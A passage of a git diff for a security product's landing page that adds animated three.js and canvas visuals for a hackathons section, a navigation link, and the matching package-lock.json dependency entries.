|
||||
metalness={0.5}
|
||||
roughness={0.4}
|
||||
transparent
|
||||
opacity={0.15}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Shield edge glow */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, { ...extrudeSettings, depth: 0.16 }]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.08} wireframe />
|
||||
</mesh>
|
||||
|
||||
{/* Center node */}
|
||||
<mesh position={[0, 0.1, 0.1]}>
|
||||
<sphereGeometry args={[0.08, 16, 16]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.8} />
|
||||
</mesh>
|
||||
|
||||
{/* Network nodes */}
|
||||
{[
|
||||
[0, 0.55, 0.1],
|
||||
[-0.35, -0.15, 0.1],
|
||||
[0.35, -0.15, 0.1],
|
||||
[0, -0.55, 0.1],
|
||||
].map((pos, i) => (
|
||||
<mesh key={i} position={pos as [number, number, number]}>
|
||||
<sphereGeometry args={[0.045, 12, 12]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.5} />
|
||||
</mesh>
|
||||
))}
|
||||
</group>
|
||||
</Float>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Data stream lines flowing around ─── */
|
||||
|
||||
function DataStreams({ count = 12 }: { count?: number }) {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const streams = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => {
|
||||
const angle = (i / count) * Math.PI * 2
|
||||
const radius = 2.0 + Math.random() * 0.5
|
||||
const points = Array.from({ length: 20 }, (_, j) => {
|
||||
const t = j / 19
|
||||
const a = angle + t * Math.PI * 0.5
|
||||
return new THREE.Vector3(
|
||||
Math.cos(a) * radius * (1 - t * 0.3),
|
||||
(t - 0.5) * 3,
|
||||
Math.sin(a) * radius * (1 - t * 0.3)
|
||||
)
|
||||
})
|
||||
return { points, speed: 0.5 + Math.random() * 0.5 }
|
||||
})
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = clock.getElapsedTime() * 0.05
|
||||
})
|
||||
|
||||
return (
|
||||
<group ref={ref}>
|
||||
{streams.map((stream, i) => {
|
||||
const curve = new THREE.CatmullRomCurve3(stream.points)
|
||||
return (
|
||||
<mesh key={i}>
|
||||
<tubeGeometry args={[curve, 20, 0.003, 4, false]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.1} />
|
||||
</mesh>
|
||||
)
|
||||
})}
|
||||
</group>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Main scene ─── */
|
||||
|
||||
export function ShieldScene() {
|
||||
return (
|
||||
<div className="w-full h-full min-h-[300px]">
|
||||
<Canvas
|
||||
camera={{ position: [0, 0, 5.5], fov: 42 }}
|
||||
dpr={[1, 2]}
|
||||
gl={{ antialias: true, alpha: true }}
|
||||
style={{ background: 'transparent' }}
|
||||
>
|
||||
<ambientLight intensity={0.4} />
|
||||
<pointLight position={[5, 5, 5]} intensity={0.8} color="#F9F9F7" />
|
||||
<pointLight position={[-3, -2, 4]} intensity={0.3} color="#D95E2A" />
|
||||
|
||||
<ShieldMesh />
|
||||
<Particles />
|
||||
<DataStreams />
|
||||
<OrbitalRing radius={2.2} speed={0.1} tilt={0.3} />
|
||||
<OrbitalRing radius={2.8} speed={-0.07} tilt={-0.5} />
|
||||
<OrbitalRing radius={1.6} speed={0.15} tilt={0.8} />
|
||||
</Canvas>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
189
components/hackathons/track-visuals.tsx
Normal file
189
components/hackathons/track-visuals.tsx
Normal file
@@ -0,0 +1,189 @@
|
||||
'use client'
|
||||
|
||||
import { useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Animated data stream (Track 1) ─── */
|
||||
/* Compact flowing waveform + particles, self-contained */
|
||||
|
||||
export function StreamViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
const particles: { x: number; y: number; vy: number; size: number; alpha: number }[] = []
|
||||
for (let i = 0; i < 30; i++) {
|
||||
particles.push({
|
||||
x: Math.random() * 250,
|
||||
y: Math.random() * 300,
|
||||
vy: -0.2 - Math.random() * 0.5,
|
||||
size: 1 + Math.random() * 2,
|
||||
alpha: 0.15 + Math.random() * 0.35,
|
||||
})
|
||||
}
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.02
|
||||
|
||||
// Flowing wave lines
|
||||
for (let line = 0; line < 4; line++) {
|
||||
ctx.beginPath()
|
||||
const baseY = h * 0.25 + line * (h * 0.15)
|
||||
for (let x = 0; x <= w; x += 2) {
|
||||
const y = baseY + Math.sin(x * 0.03 + t + line * 1.5) * 12 + Math.sin(x * 0.015 + t * 0.7) * 8
|
||||
if (x === 0) ctx.moveTo(x, y)
|
||||
else ctx.lineTo(x, y)
|
||||
}
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 + line * 0.03})`
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Particles
|
||||
particles.forEach((p) => {
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(217, 94, 42, ${p.alpha})`
|
||||
ctx.fill()
|
||||
|
||||
p.y += p.vy
|
||||
if (p.y < -5) { p.y = h + 5; p.x = Math.random() * w }
|
||||
})
|
||||
|
||||
// Connections between close particles
|
||||
for (let i = 0; i < particles.length; i++) {
|
||||
for (let j = i + 1; j < particles.length; j++) {
|
||||
const dx = particles[i].x - particles[j].x
|
||||
const dy = particles[i].y - particles[j].y
|
||||
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||
if (dist < 60) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(particles[i].x, particles[i].y)
|
||||
ctx.lineTo(particles[j].x, particles[j].y)
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 * (1 - dist / 60)})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Pulsing lock with rings (Track 2) ─── */
|
||||
|
||||
export function SecureViz() {
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Pulsing rings */}
|
||||
<div className="absolute w-20 h-20 rounded-full border border-emerald-500/15 animate-ping [animation-duration:3s]" />
|
||||
<div className="absolute w-32 h-32 rounded-full border border-emerald-500/8 animate-ping [animation-duration:4s] [animation-delay:0.5s]" />
|
||||
<div className="absolute w-44 h-44 rounded-full border border-emerald-500/[0.04] animate-ping [animation-duration:5s] [animation-delay:1s]" />
|
||||
|
||||
{/* Rotating orbit */}
|
||||
<svg className="absolute w-28 h-28 animate-[spin_15s_linear_infinite]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.12)" strokeWidth="0.8" strokeDasharray="4 6" />
|
||||
</svg>
|
||||
<svg className="absolute w-40 h-40 animate-[spin_25s_linear_infinite_reverse]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.07)" strokeWidth="0.5" strokeDasharray="2 8" />
|
||||
</svg>
|
||||
|
||||
{/* Orbiting dots */}
|
||||
<div className="absolute w-24 h-24 animate-[spin_6s_linear_infinite]">
|
||||
<div className="absolute top-0 left-1/2 -translate-x-1/2 w-1.5 h-1.5 rounded-full bg-emerald-400/50" />
|
||||
</div>
|
||||
<div className="absolute w-36 h-36 animate-[spin_10s_linear_infinite_reverse]">
|
||||
<div className="absolute bottom-0 left-1/2 -translate-x-1/2 w-1 h-1 rounded-full bg-emerald-400/30" />
|
||||
</div>
|
||||
|
||||
{/* Center lock */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-emerald-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<rect width="18" height="11" x="3" y="11" rx="2" ry="2" />
|
||||
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
|
||||
<circle cx="12" cy="16" r="1" fill="currentColor" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Floating code snippets (Track 3) ─── */
|
||||
|
||||
export function ExtendViz() {
|
||||
const snippets = [
|
||||
{ x: '10%', y: '12%', text: 'fn extend()', delay: '0s' },
|
||||
{ x: '45%', y: '8%', text: '<Plugin />', delay: '0.8s' },
|
||||
{ x: '20%', y: '45%', text: '.hook()', delay: '1.2s' },
|
||||
{ x: '55%', y: '42%', text: 'export', delay: '0.4s' },
|
||||
{ x: '15%', y: '75%', text: 'pipe()', delay: '1.6s' },
|
||||
{ x: '50%', y: '78%', text: 'import', delay: '0.6s' },
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Radiating lines */}
|
||||
<svg className="absolute inset-0 w-full h-full opacity-40" viewBox="0 0 200 200" preserveAspectRatio="xMidYMid meet">
|
||||
{[0, 45, 90, 135, 180, 225, 270, 315].map((angle) => {
|
||||
const rad = (angle * Math.PI) / 180
|
||||
return (
|
||||
<line
|
||||
key={angle}
|
||||
x1="100" y1="100"
|
||||
x2={100 + Math.cos(rad) * 90} y2={100 + Math.sin(rad) * 90}
|
||||
stroke="rgba(139, 92, 246, 0.08)"
|
||||
strokeWidth="0.5"
|
||||
strokeDasharray="2 4"
|
||||
/>
|
||||
)
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Floating snippets */}
|
||||
{snippets.map((s, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="absolute font-mono text-[9px] px-1.5 py-1 rounded bg-violet-500/8 border border-violet-500/15 text-violet-300/40 animate-pulse whitespace-nowrap"
|
||||
style={{ left: s.x, top: s.y, animationDelay: s.delay, animationDuration: '3s' }}
|
||||
>
|
||||
{s.text}
|
||||
</div>
|
||||
))}
|
||||
|
||||
{/* Center node */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-violet-500/10 border border-violet-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-violet-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<polyline points="16 18 22 12 16 6" /><polyline points="8 6 2 12 8 18" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -36,6 +36,12 @@ export function Nav() {
|
||||
>
|
||||
About
|
||||
</a>
|
||||
<a
|
||||
href="/hackathons"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
>
|
||||
Hackathons
|
||||
</a>
|
||||
<a
|
||||
href="/greyscan"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
|
||||
708
package-lock.json
generated
708
package-lock.json
generated
@@ -8,6 +8,9 @@
|
||||
"name": "greywall-landing-page",
|
||||
"version": "0.1.0",
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -15,7 +18,8 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1"
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
@@ -41,6 +45,21 @@
|
||||
"url": "https://github.com/sponsors/sindresorhus"
|
||||
}
|
||||
},
|
||||
"node_modules/@babel/runtime": {
|
||||
"version": "7.29.2",
|
||||
"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
|
||||
"integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=6.9.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@dimforge/rapier3d-compat": {
|
||||
"version": "0.12.0",
|
||||
"resolved": "https://registry.npmjs.org/@dimforge/rapier3d-compat/-/rapier3d-compat-0.12.0.tgz",
|
||||
"integrity": "sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@emnapi/runtime": {
|
||||
"version": "1.8.1",
|
||||
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.8.1.tgz",
|
||||
@@ -567,6 +586,24 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.4.14"
|
||||
}
|
||||
},
|
||||
"node_modules/@mediapipe/tasks-vision": {
|
||||
"version": "0.10.17",
|
||||
"resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-0.10.17.tgz",
|
||||
"integrity": "sha512-CZWV/q6TTe8ta61cZXjfnnHsfWIdFhms03M9T7Cnd5y2mdpylJM0rF1qRq+wsQVRMLz1OYPVEBU9ph2Bx8cxrg==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@monogrid/gainmap-js": {
|
||||
"version": "3.4.0",
|
||||
"resolved": "https://registry.npmjs.org/@monogrid/gainmap-js/-/gainmap-js-3.4.0.tgz",
|
||||
"integrity": "sha512-2Z0FATFHaoYJ8b+Y4y4Hgfn3FRFwuU5zRrk+9dFWp4uGAdHGqVEdP7HP+gLA3X469KXHmfupJaUbKo1b/aDKIg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"promise-worker-transferable": "^1.0.4"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "16.0.10",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-16.0.10.tgz",
|
||||
@@ -701,6 +738,95 @@
|
||||
"node": ">= 10"
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/drei": {
|
||||
"version": "10.7.7",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/drei/-/drei-10.7.7.tgz",
|
||||
"integrity": "sha512-ff+J5iloR0k4tC++QtD/j9u3w5fzfgFAWDtAGQah9pF2B1YgOq/5JxqY0/aVoQG5r3xSZz0cv5tk2YuBob4xEQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.26.0",
|
||||
"@mediapipe/tasks-vision": "0.10.17",
|
||||
"@monogrid/gainmap-js": "^3.0.6",
|
||||
"@use-gesture/react": "^10.3.1",
|
||||
"camera-controls": "^3.1.0",
|
||||
"cross-env": "^7.0.3",
|
||||
"detect-gpu": "^5.0.56",
|
||||
"glsl-noise": "^0.0.0",
|
||||
"hls.js": "^1.5.17",
|
||||
"maath": "^0.10.8",
|
||||
"meshline": "^3.3.1",
|
||||
"stats-gl": "^2.2.8",
|
||||
"stats.js": "^0.17.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"three-mesh-bvh": "^0.8.3",
|
||||
"three-stdlib": "^2.35.6",
|
||||
"troika-three-text": "^0.52.4",
|
||||
"tunnel-rat": "^0.1.2",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"utility-types": "^3.11.0",
|
||||
"zustand": "^5.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@react-three/fiber": "^9.0.0",
|
||||
"react": "^19",
|
||||
"react-dom": "^19",
|
||||
"three": ">=0.159"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/fiber": {
|
||||
"version": "9.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-9.5.0.tgz",
|
||||
"integrity": "sha512-FiUzfYW4wB1+PpmsE47UM+mCads7j2+giRBltfwH7SNhah95rqJs3ltEs9V3pP8rYdS0QlNne+9Aj8dS/SiaIA==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.17.8",
|
||||
"@types/webxr": "*",
|
||||
"base64-js": "^1.5.1",
|
||||
"buffer": "^6.0.3",
|
||||
"its-fine": "^2.0.0",
|
||||
"react-use-measure": "^2.1.7",
|
||||
"scheduler": "^0.27.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"zustand": "^5.0.3"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"expo": ">=43.0",
|
||||
"expo-asset": ">=8.4",
|
||||
"expo-file-system": ">=11.0",
|
||||
"expo-gl": ">=11.0",
|
||||
"react": ">=19 <19.3",
|
||||
"react-dom": ">=19 <19.3",
|
||||
"react-native": ">=0.78",
|
||||
"three": ">=0.156"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"expo": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-asset": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-file-system": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-gl": {
|
||||
"optional": true
|
||||
},
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
},
|
||||
"react-native": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.15",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
|
||||
@@ -981,6 +1107,18 @@
|
||||
"tailwindcss": "4.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tweenjs/tween.js": {
|
||||
"version": "23.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
|
||||
"integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/draco3d": {
|
||||
"version": "1.4.10",
|
||||
"resolved": "https://registry.npmjs.org/@types/draco3d/-/draco3d-1.4.10.tgz",
|
||||
"integrity": "sha512-AX22jp8Y7wwaBgAixaSvkoG4M/+PlAcm3Qs4OW8yT9DM4xUpWKeFhLueTAyZF39pviAdcDdeJoACapiAceqNcw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/node": {
|
||||
"version": "22.19.15",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.15.tgz",
|
||||
@@ -991,11 +1129,16 @@
|
||||
"undici-types": "~6.21.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/offscreencanvas": {
|
||||
"version": "2019.7.3",
|
||||
"resolved": "https://registry.npmjs.org/@types/offscreencanvas/-/offscreencanvas-2019.7.3.tgz",
|
||||
"integrity": "sha512-ieXiYmgSRXUDeOntE1InxjWyvEelZGP63M+cGuquuRLuIKKT1osnkXjxev9B7d1nXSug5vpunx+gNlbVxMlC9A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/react": {
|
||||
"version": "19.2.14",
|
||||
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz",
|
||||
"integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
@@ -1012,6 +1155,133 @@
|
||||
"@types/react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/react-reconciler": {
|
||||
"version": "0.28.9",
|
||||
"resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.28.9.tgz",
|
||||
"integrity": "sha512-HHM3nxyUZ3zAylX8ZEyrDNd2XZOnQ0D5XfunJF5FLQnZbHHYq4UWvW1QfelQNXv1ICNkwYhfxjwfnqivYB6bFg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/react": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/stats.js": {
|
||||
"version": "0.17.4",
|
||||
"resolved": "https://registry.npmjs.org/@types/stats.js/-/stats.js-0.17.4.tgz",
|
||||
"integrity": "sha512-jIBvWWShCvlBqBNIZt0KAshWpvSjhkwkEu4ZUcASoAvhmrgAUI2t1dXrjSL4xXVLB4FznPrIsX3nKXFl/Dt4vA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/three": {
|
||||
"version": "0.183.1",
|
||||
"resolved": "https://registry.npmjs.org/@types/three/-/three-0.183.1.tgz",
|
||||
"integrity": "sha512-f2Pu5Hrepfgavttdye3PsH5RWyY/AvdZQwIVhrc4uNtvF7nOWJacQKcoVJn0S4f0yYbmAE6AR+ve7xDcuYtMGw==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@dimforge/rapier3d-compat": "~0.12.0",
|
||||
"@tweenjs/tween.js": "~23.1.3",
|
||||
"@types/stats.js": "*",
|
||||
"@types/webxr": ">=0.5.17",
|
||||
"@webgpu/types": "*",
|
||||
"fflate": "~0.8.2",
|
||||
"meshoptimizer": "~1.0.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/webxr": {
|
||||
"version": "0.5.24",
|
||||
"resolved": "https://registry.npmjs.org/@types/webxr/-/webxr-0.5.24.tgz",
|
||||
"integrity": "sha512-h8fgEd/DpoS9CBrjEQXR+dIDraopAEfu4wYVNY2tEPwk60stPWhvZMf4Foo5FakuQ7HFZoa8WceaWFervK2Ovg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/core": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/core/-/core-10.3.1.tgz",
|
||||
"integrity": "sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/react": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/react/-/react-10.3.1.tgz",
|
||||
"integrity": "sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@use-gesture/core": "10.3.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": ">= 16.8.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@webgpu/types": {
|
||||
"version": "0.1.69",
|
||||
"resolved": "https://registry.npmjs.org/@webgpu/types/-/types-0.1.69.tgz",
|
||||
"integrity": "sha512-RPmm6kgRbI8e98zSD3RVACvnuktIja5+yLgDAkTmxLr90BEwdTXRQWNLF3ETTTyH/8mKhznZuN5AveXYFEsMGQ==",
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/base64-js": {
|
||||
"version": "1.5.1",
|
||||
"resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
|
||||
"integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/bidi-js": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
|
||||
"integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"require-from-string": "^2.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/buffer": {
|
||||
"version": "6.0.3",
|
||||
"resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
|
||||
"integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"base64-js": "^1.3.1",
|
||||
"ieee754": "^1.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/camera-controls": {
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/camera-controls/-/camera-controls-3.1.2.tgz",
|
||||
"integrity": "sha512-xkxfpG2ECZ6Ww5/9+kf4mfg1VEYAoe9aDSY+IwF0UEs7qEzwy0aVRfs2grImIECs/PoBtWFrh7RXsQkwG922JA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=22.0.0",
|
||||
"npm": ">=10.5.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.126.1"
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001777",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001777.tgz",
|
||||
@@ -1059,13 +1329,53 @@
|
||||
"node": ">=6"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-env": {
|
||||
"version": "7.0.3",
|
||||
"resolved": "https://registry.npmjs.org/cross-env/-/cross-env-7.0.3.tgz",
|
||||
"integrity": "sha512-+/HKd6EgcQCJGh2PSjZuUitQBQynKor4wrFbRg4DtAgS1aWO+gU52xpH7M9ScGgXSYmAVS9bIJ8EzuaGw0oNAw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"cross-spawn": "^7.0.1"
|
||||
},
|
||||
"bin": {
|
||||
"cross-env": "src/bin/cross-env.js",
|
||||
"cross-env-shell": "src/bin/cross-env-shell.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.14",
|
||||
"npm": ">=6",
|
||||
"yarn": ">=1"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-spawn": {
|
||||
"version": "7.0.6",
|
||||
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
|
||||
"integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"path-key": "^3.1.0",
|
||||
"shebang-command": "^2.0.0",
|
||||
"which": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/csstype": {
|
||||
"version": "3.2.3",
|
||||
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
|
||||
"integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/detect-gpu": {
|
||||
"version": "5.0.70",
|
||||
"resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
|
||||
